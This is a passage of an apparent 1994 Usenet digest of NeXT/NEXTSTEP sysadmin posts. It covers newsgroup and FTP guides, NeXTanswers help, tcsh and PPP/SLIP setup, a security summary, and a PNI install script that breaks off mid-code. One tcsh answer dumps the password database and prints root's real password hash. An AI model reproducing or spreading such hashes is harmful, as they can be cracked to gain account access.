please point me at the appropriate FAQ, or rummage through the old
postings and/or memories to tell me what exactly is likely to be wrong?
Thanks very much!
This analogy is like |=========================================================
lifting yourself by | Joshua W. Burton (401)435-6370 burton@het.brown.edu
your own bootstraps. |=========================================================
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick guide to NEXTSTEP Information on the Internet
Date: 13 Jun 1994 01:49:51 -0400
Organization: Next Announcements
Message-ID: <2tgs1v$qbe@digifix.digifix.com>
Topics include:
Stepwise NEXTSTEP/OpenStep Information Server online
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
New Information
---------------
Stepwise NEXTSTEP/OpenStep Information Server online
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and currently consist of
- NeXT Press Releases
- OpenStep WhitePapers
- Third Party Products Directory
- NEXTSTEP Developer Directory
- NEXTSTEP Community WhitePages
- NEXTSTEP User Group Directory
- comp.sys.next.announce archives (searchable)
- searchable contents of Third Party compilation CDs
Additionally the NEXTSTEP Product Information Mail Server will
be stocked full file files in the next week... you can get
information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
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Comp.Sys.Next.Advocacy
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anything else in the known universe" forum. It was
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Comp.Sys.Next.Announce
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The NEXTSTEP FAQs are posted here monthly as well.
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software. Material e-mailed to Bug_NeXT@NeXT.COM
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ratio--all too often bozos post stuff here that really
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individual reports may be germane to certain non-NeXT-
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SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
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NeXT stuff for sale/wanted. Material posted here must
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Questions and discussions of interest to NEXTSTEP
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The NEXTSTEP programmer FAQs are posted here.
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This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
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Stuff relating to NeXT system administration issues;
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Like comp.sys.next.software and comp.sys.next.misc combined. Exists
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for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
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Getting the Newsgroups without getting News
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Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
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(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Trouble with TransSys PNI 1.9
Date: 13 Jun 1994 06:57:54 GMT
Organization: San Francisco State University
Message-ID: <2th01i$lie@nic-nac.CSU.net>
References: <Cr08Kt.7H@relief.com> <LOUIE.94Jun11131829@wa3ymh.transsys.com>
In article <LOUIE.94Jun11131829@wa3ymh.transsys.com>
louie@TransSys.COM (Louis A. Mamakos) writes:
>The whole issue regarding netinfo networks and slip boil down to this:
>having the local host attempting to contact a parent netinfo server
>over a link that's not dialed up at the moment.
NeXT had to deal with exactly that problem for 3.0's foray into
the wacky world of ISDN. (Hint, hint.)
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: karl@trapac.com (Karl Kraft)
Subject: Re: Tcsh shell
Message-ID: <CrBp45.B74@trapac.com>
Sender: karl@trapac.com (Karl Kraft)
Organization: Trans Pacific Container Service Corporation
References: <CrA4DI.6C@touga.vd.alphanet.ch>
Date: Mon, 13 Jun 1994 06:38:28 GMT
In article <CrA4DI.6C@touga.vd.alphanet.ch> Jacques Garbi writes:
> Hi,
>
> All my users are using tcsh, root included.
> The problem is that when I log wit a user name and I launch
Terminal.app
> and I do a su, su starts with csh. How can I make it always start
with
> tcsh ?
>
Well a quick workaround is
su -c tcsh
But the cause of the problem is what root has for a shell in Netinfo:
localhost# dread Terminal Shell
Terminal Shell /usr/local/bin/tcsh
That sets the shell for terminal, where as
localhost# nidump passwd . | grep root
root:ceGELxwdAP1so:0:1:Operator:/:/bin/csh
sets the shell for su.
--
Karl Kraft
Karl_Kraft@trapac.com
Karl_Kraft@ensuing.com
[My opinions are my own]
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: Re: Tcsh shell
Message-ID: <CrBqJI.178@haquer.uucp>
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
References: <CrA4DI.6C@touga.vd.alphanet.ch>
Date: Mon, 13 Jun 1994 07:09:17 GMT
Place this line into your .cshrc file:
-----
if ($?prompt) then
if ($WHOAMI == "root") then
set flag = "#"
else
set flag = ""
endif
endif
if ($?csh | $SHELL == "/bin/tcsh" ) then
if ($?PWD) unsetenv PWD
set prompt = "[${WHOAMI}@${HOSTNAME}(tcsh)${flag}:%\!] "
unset autologout
else
set prompt = "[${WHOAMI}@${HOSTNAME}(csh)${flag}:\!] "
endif
------
Jacques Garbi writes
> Hi,
>
> All my users are using tcsh, root included.
> The problem is that when I log wit a user name and I launch Terminal.app
> and I do a su, su starts with csh. How can I make it always start with
> tcsh ?
>
> Thanks
>
> Jacques Garbi
> --
> -------------------------------------
> Jacques GARBI
> Av. Davel 18
> 1004 Lausanne
From: russell@alpha3.ersys.edmonton.ab.ca (Russell Schulz)
Newsgroups: comp.sys.next.sysadmin,comp.security.unix,comp.security.misc
Subject: SUMMARY: NeXT right on the Internet -- secure?
Message-ID: <940612.180632.4d4.rusnews.w164w_-_@alpha3.ersys.edmonton.ab.ca>
Date: Sun, 12 Jun 1994 18:06:32 -0600
References: <931128.222311.5p5.rusnews.w164w@alpha3.ersys.edmonton.ab.ca>
Organization: Private System, Edmonton, AB, Canada
russell@alpha3.ersys.edmonton.ab.ca (Russell Schulz) writes:
> are there replacements for standard NeXT network programs that fix
> security holes? what has the NeXT community found out after checking
> out the CERT announcements?
fortunately, NeXT hasn't released 3.3 since I posted my original question.
thanks to these people who offered help and/or suggestions:
Lawrence.Sewell@vt.edu
Mike_Matthews@sgate.com
bremner@binkley.cs.mcgill.ca
brown@quorum.com
jmack@skye.Phys.UAlberta.Ca
terryr@smiley.mitre.org
wietse@wzv.win.tue.nl
now, in random order, the summary:
> The safest thing to do it to spend a couple thousand dollars on a
> dedicated PC running BSDI's Unix which you can configure as a firewall
> with packet filtering. At least I think BSDI's Unix can be configured
> to do packet filtering when routing.
> I would say that NeXT's are as secure as anything, certainly more bug
> free than SUNs. I have over 60 NeXT's on our physics lan here, and there
> has never been a security breach. I do run ZMailer instead of stupid
> sendmail, and this provides a pretty secure e-mail firewall. The Mach
> kernel and BSD4.3 on the NeXT's are quite a robust unix environment.
> It all depends on what network services the machine runs. Window systems
> are problematic (the hooks for NeXT remote window system access have no
> authentication). Other problematic services are RPC-based services such
> as NIS, rexd or NFS. If you can, minimize the number of network services
> on the internet-connected system.
> NEXTSTEP 3.x is reasonably secure; just read the section on security in
> the administration manual online.
>
> The only thing NEXTSTEP can not do and it should is shadow passwords.
> The effect is minimized with trusted_networks but not eliminated.
> There are several issues about connecting a NeXT system to the Internet.
> The following are an extract from my set of instructions that are
> directed to "securing" NeXTStep 3.0.
this last one was followed by a _long_ list of fixes. I'm not sure
which are still applicable to 3.2 and above, nor if I can give them
out. (they were not available for ftp at the time)
--
Russell Schulz russell@alpha3.ersys.edmonton.ab.ca ersys!rschulz Shad 86c
From: wolpert@feldberg.ds.freinet.de (Florian Wolpert)
Newsgroups: comp.sys.next.sysadmin
Subject: proxyarp for NeXT ?
Date: 13 Jun 1994 15:16:44 GMT
Organization: FreiNet (XLINK-PoP Freiburg)
Message-ID: <2tht8s$oq6@bock.freinet.de>
Hi,
I'm searching a proxyarpd for NeXTSTEP. Does it exist ?
- Flo.
--
XLINK-POP in Freiburg, nicht fragen - anschliessen!
From: Joe_Keenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: New DOS FS Patch 6-11
Date: 13 Jun 1994 14:37:08 GMT
Organization: NeXT, Inc.
Message-ID: <2thquk$epf@rosie.next.com>
References: <2te893$1a4@search01.news.aol.com>
In article <2te893$1a4@search01.news.aol.com> jimra@aol.com (JimRA) writes:
> I ftp'd the patch last night & loaded it, and lo & behold, I can
> mount my second partition as well as my second hard drive! Yay!
>
> However, one tiny strangeness, my second partition has 12 M free, yet
> NS noted it was around 20+M. Hmmmmmmmm
If you can reproduce and document this, we want to hear about it.
First, make sure that DOS partition is clean. Boot native DOS and run chkdsk
on it. Then make sure that the DOS partition size (what chkdsk tells you)
matches what both the DOS and NS fdisk programs say.
After all that, write down the numbers from chkdsk and fdisk and send them to
bug_next@next.com.
joe
From: Joe_Keenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Multiple Ethernet Interface Problem
Date: 13 Jun 1994 14:39:46 GMT
Organization: NeXT, Inc.
Message-ID: <2thr3i$epg@rosie.next.com>
References: <2tf2hc$kdb@beta.qmw.ac.uk>
In article <2tf2hc$kdb@beta.qmw.ac.uk> richarda@coffee.dcs.qmw.ac.uk
(Achmatowicz) writes:
> I'm running NS/I 3.2 on a Gateway 2000 486, with an SMC Elite 16
> Ethernet card.
>
> For some reason, NS/I seems to be registering *two* Ethernet
> interfaces at startup, as in:
>
> fred> netstat -i
> Name Mtu Network Address Ipkts Ierr Opkts Oerr Coll
> le0 1536 loopback localhost 239445 0 239445 0 0
> en0 1500 qmw-dcs-main fred 184225 0 39398 0 0
> en0* 1500 none none 184225 0 39388 7 6619
First I'm assuming your "le0" is actually "lo0", and you just typed it wrong.
Ignore the eno*. It's an artifact of the mechanism used to handle loadable
protocol stacks (like for Netware, Appletalk, and OSI). It's not really a
separate interface, and doesn't cause any problems.
joe
From: cdodson@vortex (R. Craig Dodson)
Newsgroups: comp.sys.next.sysadmin
Subject: More DPT Driver info
Date: 13 Jun 1994 16:12:49 GMT
Organization: Stratus Computer Inc, Marlboro MA
Message-ID: <2ti0i1$e73@transfer.stratus.com>
Hi All,
As you may recall, 2 weeks ago I posted here that I would be installing
the "new" DPT 2000-series beta driver on all of our NS/Intel 3.2 systems. We've
now had 2 trouble-free weeks on 45 systems, leading me to believe that
(hopefully) our problems are behind us. I don't know if the driver is on NeXT's
ftp site yet, but I'll mail anyone a copy that want one provided :
YOU USE IT AT YOUR OWN RISK !
Just drop me a line at:
cdodson@beast.cac.stratus.com
Craig
From: david_mank@psca.com
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Tcsh shell
Date: 13 Jun 1994 17:18:14 GMT
Organization: McCaw Cellular Communications, Inc.
Message-ID: <2ti4cm$jic@ftp-p.mccaw.com>
References: <2thp2m$ke3@wimbledon.dcs.hull.ac.uk>
Another way is to put the path to your favorite shell (i.e. tcsh) in the
Terminal Preferences shell field.
In article <2thp2m$ke3@wimbledon.dcs.hull.ac.uk> andyc@e-eng.hull.ac.uk
(Andrew Carnegie) writes:
> In article <CrA4DI.6C@touga.vd.alphanet.ch> Jacques Garbi writes:
> > Hi,
> >
> > All my users are using tcsh, root included.
> > The problem is that when I log wit a user name and I launch
Terminal.app
> > and I do a su, su starts with csh. How can I make it always start
with
> > tcsh ?
> >
> > Thanks
> >
> > Jacques Garbi
>
> Start up UserMgr.app, open the user "root" and specify the login shell
there.
> Its the bottom entry.
>
> Andy
--
____________________________________________________________
David Mank, Systems Engineer | "Computers are useless.
--- Paradigm Systems Corp. --- | They can only give you
Internet: david_mank@psca.com | answers."
NeXT mail: david_mank@psca.com | - Pablo Picasso
____________________________________________________________
From: rencsok@convex.cl.msu.edu (randal rencsok)
Newsgroups: comp.sys.next.sysadmin
Subject: MST ppp with ZYXEL 1496E and annex Xylogics server
Date: 13 Jun 1994 18:17:56 GMT
Organization: Michigan State University
Message-ID: <2ti7sk$iet@msuinfo.cl.msu.edu>
Keywords: ppp help
Hello,
Well after dealing with the SLIP battle and partually succeeding I
decided to get MST's ppp package. Everyone seemed to find this
an excellent package for NeXT's. Even though the documentation
seems complete, there is virtually no examples for setup on a NeXT.
I've tried to set up ppp to dial in to an annex Xylogics 3.0
server that allocates ip addresses dynamically to no avial.
MST's support so far I have found to be nil!! If there is
a NeXT user of ppp that is dialing into a annex Xylogics server
that dynamically allocates IP addresses out there I would GREATLY
appreciate it if you could send me your config files.
like
/etc/remote
/etc/ttys
/etc/gettytab
/etc/hostconfig (so I can check mine)
/etc/local* (again so I can check mine)
/etc/rc (to double check)
/etc/rc.local
and
of course
/etc/ppp/Login.ex
/etc/ppp/Startup.ex
/etc/ppp/Systems.ex
and if your using a ZYXEL 1496E your
/etc/ppp/Dialers.ex (without your password and username of course)
So if anyone is using a standalone (or even not a stand alone)
NeXT with a ZyXEL 1496E and MST ppp dialing into a annex Xylogics 3.0
server that dynamically allocates IP addresses (yours and it's)
I would really APPRECIATE a copy of the above files..
e-mail rencsok@convex.cl.msu.edu (ascii or NeXT mail)
rencsok@cteq14.pa.msu.edu (NEXTMail encouraged)
Sincerely,
Randy Rencsok
.
From: pxj@mishna.esys.cwru.edu (Prashanth Joisha)
Newsgroups: comp.sys.next.sysadmin
Subject: FileSystem Problem !!!
Date: 13 Jun 1994 18:36:39 GMT
Organization: Case Western Reserve University, Cleveland, Ohio (USA)
Message-ID: <2ti8vn$6gf@usenet.INS.CWRU.Edu>
Hi guys,
We have an Intel (486) machine running on NextStep 3.2.
Accidentally, it got switched off , while it was running. After that
when we tried to boot, it came up normally, but the file system had become
a read-only one. The NetInfo file is also corrupted. Since the file -
system had become a read - only, we are not in a position to edit
any files or make any tape backups etc.
Could some one tell us how to make the file - system, a read and write
one.?!
Thanks in advance,
G.Prashanth Joisha
Euclid Computer Systems, Inc.
11000 Cedar Avenue, #442,
Cleveland, Ohio -44106
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: swaptab - compressed/uncompressed? default?
Message-ID: <CrCn5p.8n@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
Date: Mon, 13 Jun 1994 18:53:49 GMT
The following is true for at least NS3.0.
I read the man-page for swaptab:
...
nocompress
Do not compress the swapfile. Nor-
mally, the swapfile is compressed,
resulting in reduced disk usage and
increased swapping performance
(there is less to swap). This
option will turn this feature off.
...
Well, had no such paramter in the first place and only one file (swapfile) in /private/vm.
In an earlier post was mentioned a parameter 'compress' as opposed to the documented 'uncompress'.
What happened:
System still works, behaves differently:
a second file (swapfile.front) can be found in /private/vm.
The system hangs when the swapfile.front reaches the highwat mark. the physical swapfile (swapfile)
is much smaller at that time.
So where does that leave us:
An undocumented parameter 'compress' is supported which yields in a different behaviour.
Is the swapfile without any compress/uncompress parameters compressed as well or not?
According to the swaptab manpage it is. so supplying 'compress' in /etc/swaptab only yields in the
visual feedback via swapfile.front on the uncompressed (?) amount of swap in use.
Can some kind soul enlighten me, please?
Btw. what would be best as far as performance (speed) goes on mono NS3.0 for the swapfile?
Juergen
---
Fon ++49-511-440688 NeXTMail welcome Fax ++49-511-440617
== What time do we live in when all the word 'revolution' makes you think of
== is a new version of soap powder,
== when spontaneity and freedom gets associated with instant coffee?
From: dsiebert@icaen.uiowa.edu (Doug Siebert)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS NeXTSTEP Developer across m68k, i486, hp, sun?
Date: 13 Jun 1994 20:06:04 GMT
Organization: Iowa Computer Aided Engineering Network, University of Iowa
Message-ID: <2tie7c$22a@news.icaen.uiowa.edu>
References: <1994Jun10.214610.7925@instep.wimsey.bc.ca>
brad@instep.wimsey.bc.ca writes:
>Let's say I have three machines on my network.
>I've purchased the necessary software/licencing for each machine.
>The machines are:
>HP (PA-RISC) running NEXTSTEP.
>Dell XPS/66 i486 running NEXTSTEP.
>NeXTstation Turbo running NEXTSTEP.
>My NeXTstation is configured as the server; the other two are clients.
>The NeXTstation is my file server.
>The others have a local disk just big enough for the User
>release of NEXTSTEP and enough for swap.
If you can spend the kind of money it takes to get those three machines
you are completely insane to save a few hundred dollars not getting big
enough drives for them all to have the developer stuff local. If you still
insist on going this route, make the HP the server, not the Turbo. The HP
has far better SCSI than either the PC or NeXT, and will handle the network
load of the NFS traffic far better as well.
--
Doug Siebert | I have a proof that everything I have stated above
dsiebert@isca.uiowa.edu | is true, but this .sig is too small to contain it.
Newsgroups: comp.sys.next.sysadmin
From: aberno@saltwater.com (Anthony Berno)
Subject: NeXT - Mac interoperation
Message-ID: <1994Jun10.052939.969@saltwater.com>
Sender: aberno@saltwater.com
Organization: Saltwater City Software, Inc.
Date: Fri, 10 Jun 1994 05:29:39 GMT
I'm buying a Mac, and would like to use the NeXT as a print server, and
hopefully be able to mount the NeXT on the Mac desktop and vice versa. I
checked the FAQ and didn't find any info on this - how might one go about
doing it?
-Anthony
Newsgroups: comp.sys.next.sysadmin
From: thomas@gamelan.sh.sub.de (Thomas Funke)
Subject: Re: Cryptor bundle for Mail.app in less than 3.1
Message-ID: <1994Jun9.091738.11914@gamelan.sh.sub.de>
Sender: thomas@gamelan.sh.sub.de (thomas)
Organization: Disorganization
References: <Cqu56J.rH@kgnome.uucp>
Date: Thu, 9 Jun 1994 09:17:38 GMT
In article <Cqu56J.rH@kgnome.uucp> petergun@kgnome.uucp (Stephane I.
Matis) writes:
>
> I'd like to know which site carries the cryptor bundle ? The
> wuarchive's mirror of orst certainlly doesn't ... unless the filename
> is non-indicative.
ftp.informatik.uni-muenchen.de
/pub/comp/platforms/next/Mail/apps/CryptorBundle.1.0.NI.b.tar.gz
It's also on ftp.cs.tu-berlin.de somewhere.
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Thomas Funke thomas@gamelan.sh.sub.de
Brooks's Law:
Adding manpower to a late software project makes it later
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From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Will An HP 4Si-MX LaserJet Work With Nextstep?
Date: 11 Jun 1994 01:42:27 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2tb4q3$so2@agate.berkeley.edu>
References: <Cr7EHu.4Cq@Happy-Man.com>
In article <Cr7EHu.4Cq@Happy-Man.com> irving@Happy-Man.com (Irving_Wolfe) writes:
>Does anyone know if an HP 4Si-MX LaserJet network printer will work
>perfectly on a network of Nextstep machines, without a custom driver
>or other tricky things?
The new JetDirect cards (J25xx series as opposed to J23xx series)
are claimed to support 'lpd' protocol which should just work with
NEXTSTEP by putting just the remote printer specification into
network portion of NetInfo (without corresponding entry for
local printer). I don't know if PrintManager can deal with
such a setup, but it should be possible to do with "niload -r printers"
command quite easily.
These cards were announced May 1, 1994, so if you had
bought your network printer before then, the card may not be able to.
HP 4Si-MX seems to have better base intelligence than other printers
(i.e., support for auto protocol switching with old J23xx series card)
this gives a slight hope. If not, you might ask HP if they have
any upgrade deal to get new JetDirect MIO card for the printer.
--
Izumi Ohzawa <izumi@pinoko.berkeley.edu> [ $@Bg_78^=;(J ]
USMail: Univ. of California, 360 Minor Hall, Berkeley, CA 94720-2020
Telephone: (510) 642-6440 Fax: (510) 642-3323
From: gshaw@kralizec.zeta.org.au (Greg Shaw)
Newsgroups: comp.sys.next.sysadmin
Subject: ArchiveViperUpdate
Date: 11 Jun 1994 11:49:07 +1000
Organization: Kralizec Dialup Unix Sydney: +61-2-837-1183 V.32bis
Message-ID: <2tb56j$42i@kralizec.zeta.org.au>
Keywords: archive NSFIP backup
Hi all,
A good many months ago I posted an article seeking a answer
to why my tar backup from NSFIP could not be read by other Unix
systems especially SCO and why I could not read a tar from their
system.
Well, joy of joys I now have an answer. Although it was not a
direct answer to my query it is still a solution.
The specific problem appears to be the Archive Viper tape drive
that I use. Although NS tar will read and write to it within
itself it is unable to read a tar tape from another system.
My thanks go to Max Boehm and Jorge Gustavo Rocha for
ArchiveViperUpdate.compressed that lives on cs.osrt.edu. Decompressed
this file produces a program 'tape' in both 486 and 68000 format.
I now use tape between tar and the physical device and everything
works just fine.
So thanks again and I hope that maybe this note has helped someone
else with a Viper problem under NS.
Regards, Greg Shaw.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: sjones@netcom.com (Scott M. Jones)
Subject: Re: How to make image copy of floppy?
Message-ID: <sjonesCr7qyI.1Mu@netcom.com>
Organization: NETCOM On-line Communication Services (408 261-4700 guest)
References: <westesCqwBqq.GyM@netcom.com> <sjonesCqyCKw.A5A@netcom.com>
Date: Sat, 11 Jun 1994 03:27:53 GMT
Scott M. Jones (sjones@netcom.com) wrote:
: Caveat: I tried both reading and writing myself. It's _annoyingly_ slow.
Matt_Watson@NeXT.COM suggested specifying the entire floppy as the block
size. The speedup is pretty significant:
scott_next 16% time dd if=/dev/rfd0b of=out1
read: Invalid argument
2880+0 records in
2880+0 records out
1.1u 2.6s 9:51 0% 0+0k 0+153io 0pf+0w
scott_next 17% time dd if=/dev/rfd0b of=out2 bs=1440k
read: Invalid argument
1+0 records in
1+0 records out
0.0u 0.6s 0:55 1% 0+0k 2+191io 0pf+0w
scott_next 18% ls -l out*
-rw-r--r-- 1 scott 1474560 Jun 10 22:47 out1
-rw-r--r-- 1 scott 1474560 Jun 10 22:51 out2
scott_next 19% sum out*
07024 1440 out1
07024 1440 out2
scott_next 20%
--
-----
Scott
sjones@netcom.com
From: bestor@sun10.cs.wisc.edu (Gareth Bestor)
Newsgroups: comp.sys.next.sysadmin
Subject: How to install TransSys PNI 1.9 beta (here's how...) [272 lines]
Date: 14 Jun 1994 01:00:48 GMT
Organization: U of Wisconsin CS Dept
Message-ID: <2tivg0$npq@daffy.cs.wisc.edu>
Installing TransSys PNI 1.9 beta (tested on NS/Moto 3.2)
********************************************************
Here is what I did to get TransSys PNI 1-9 beta to work on an '040 cube running
a *fresh* copy of NEXTSTEP 3.2 User+Developer (I re-installed the OS from
scratch). I have a ZyXEL U1496-E modem on serial port A and use the default
"dial-zyxel.tcl" modem script. If you have a different modem you'll have to
hack one of the existing dial scripts for your own settings. I dial into the
UW-Madison DoIT modem pool which has CSLIP and dynamic IP address allocation.
I include some pre-PNI system setup stuff that I do which may or may not be
necessary in getting PNI to work. I get the following throughput for ftp
transfers - I'd be interested in hearing what other's get for a ZyXEL modem
talking to a 14.4K modem with CSLIP.
- 1.2MB uncompressed PostScript file... 3.0 K/sec
(tests V.42bis compression)
- same file compressed file by gzip to 271K... 1.6 K/sec
(tests raw throughput)
Your mileage may vary.
- Gareth
bestor@cs.wisc.edu
06/13/94
-----------------------------------------------------------------------------
1. Run HostManager.app to setup the hostname and stuff (my cube also has an
ethernet connection so I assign it an IP address. If you're not using your
ethernet port then leave the addresses as their default):
- select "Local..." menu option:
Hostname: jabberwocky
IP Address: 144.92.180.230
Netmask: 255.255.255.0
Broadcast Address: 144.92.180.255
- open "localhost"
- add "jabberwocky" as a host name alias
- logout and reboot
2. Create a new file called "/etc/resolv.conf". Put in your domain name
and the IP addresses of three nameservers. eg
domain wisc.edu
# dogie.macc.wisc.edu
nameserver 128.104.30.17
# batman.cs.wisc.edu
nameserver 128.105.1.12
# riddler.cs.wisc.edu
nameserver 128.105.8.69
3. Install PNI.pkg. Use the demo keystring.
4. cp /etc/pni/SAMPLES/pniX.config.cslip /etc/pni/config/pni0.config
(or rename this to pni0.config-auto to dial in automatically on bootup)
5. Edit the following entries in /etc/pni/config/pni0.config. If you don't use
dynamic IP addresses then put your pre-assigned ADDRESS here. [My DoIT file is
at the end]
set Config(pni:MTU) 1500 <- SLIP host MTU
set Config(pni:ADDRESS) 127.0.0.1
set Config(pni:REMOTEADDRESS) 144.92.180.1 <- SLIP host IP address
set Config(tty:MODEMTYPE) zyxel <- modem dial script
set Config(tty:SERVERTYPE) annex <- SLIP login script
set Config(tty:NUMBER) 265-4321 <- SLIP host phone #
6. Copy and customize an appropriate login script from /etc/pni/support to
/etc/pni/config. It helps to login manually using kermit to see what sort of
prompts the SLIP host gives you. [My DoIT file is at the end]
7. Create a new file called /etc/pni/config/password.pni0 containing your
username and password for logging into the SLIP host (used by the login script
if appropriate). eg
set username johndoe
set password 12345
8. chmod 0600 /etc/pni/config/password.pni0 (*THIS IS ABSOLUTELY NECESSARY*)
Thats it! To open the SLIP connection type
/etc/pni/pnirun pni0 &
To close the SLIP connection type
/etc/pni/bin/pnistat -c down pni0
-----------------------------------------------------------------------------
Here's my /etc/pin/config/login-annex.tcl. If you also use dynamic IP address
allocation this might be a good place to start hacking. UW-Madison DoIT users
can copy this unchanged.
# Copyright 1993 by TransSys, Inc.
# All rights reserved.
# $Header: /local/SRCS/slip2/pnid/support/login-annex.tcl,v 1.9 1994/04/23 04:47:00 louie Exp $
# Modified 6/9/94 by Gareth Bestor for University of Wisconsin-Madison
# Division of Information Technology (DoIT) dial-in modem pool
proc annex-password { DIALER username password } {
$DIALER xmit "$username\r"
$DIALER expect "*assword:*" {$DIALER xmit "$password\r"} \
timeout {error "waiting for password prompt"}
}
# Used to put a Xylogics Annex terminal server into SLIP mode.
#
# This version will optionally support Annex SLIP security,
# where if the Annex terminal server requests a username and
# password in response to the SLIP command, they will be
# sent. The username and password to be used are stored in a
# seperate file. The name of the file is specified in the
# Config array.
#
# This file should contain (at least) two TCL set commands to
# set the variables 'username' and 'password'. Its likely
# that you don't want these files generally readable for
# security purposes, so a check is made for you, and the
# script will fail if the file is readable.
#
# Alternatively, the members of the keyed list "username" and
# "password" can be used to specify the username and password to be
# passed to the terminal server.
proc login-annex { DIALER cfg } {
global Config encapList
syslog LOG_INFO "Begin annex login"
set username ""
set password ""
if {[info exists Config($cfg:SECRETFILE)] &&
[file exists $Config($cfg:SECRETFILE)]} {
if {[file readable $Config($cfg:SECRETFILE)]} {
source $Config($cfg:SECRETFILE)
}
file stat $Config($cfg:SECRETFILE) stat
if {[expr $stat(mode)&04]} {
error "File with password, $Config($cfg:SECRETFILE), is readable by 'other'!"
}
} else {
if {[info exists Config($cfg:USERNAME)]} {
set username $Config($cfg:USERNAME)
}
if {[info exists Config($cfg:PASSWORD)]} {
set password $Config($cfg:PASSWORD)
}
}
#
# set parity of transmitted data
#
$DIALER parity ZERO
#
# For auto-baud nonsense.. sometimes its necessary to poke at it a couple
# of times before it figures out what speed the modem is at.
#
set timeout 2
$DIALER xmit {\r\r}
$DIALER sleep 1
#
# look for annex command prompt
#
$DIALER expect "*sername:*" {annex-password $DIALER $username $password}
$DIALER xmit {\r}
set timeout 10
#
# send command to put terminal server into SLIP mode
#
set mode SLIP
if {[info exists Config($cfg:MODE)]} {
set mode $Config($cfg:MODE)
}
case $mode in {
{SLIP default} {$DIALER xmit "slip\r"}
PPP {$DIALER xmit "ppp\r"}
}
#
# Use regular-expression based expect command to match addresses in message
# that the annex server emits.
#
while { 1 } {
$DIALER rexpect \
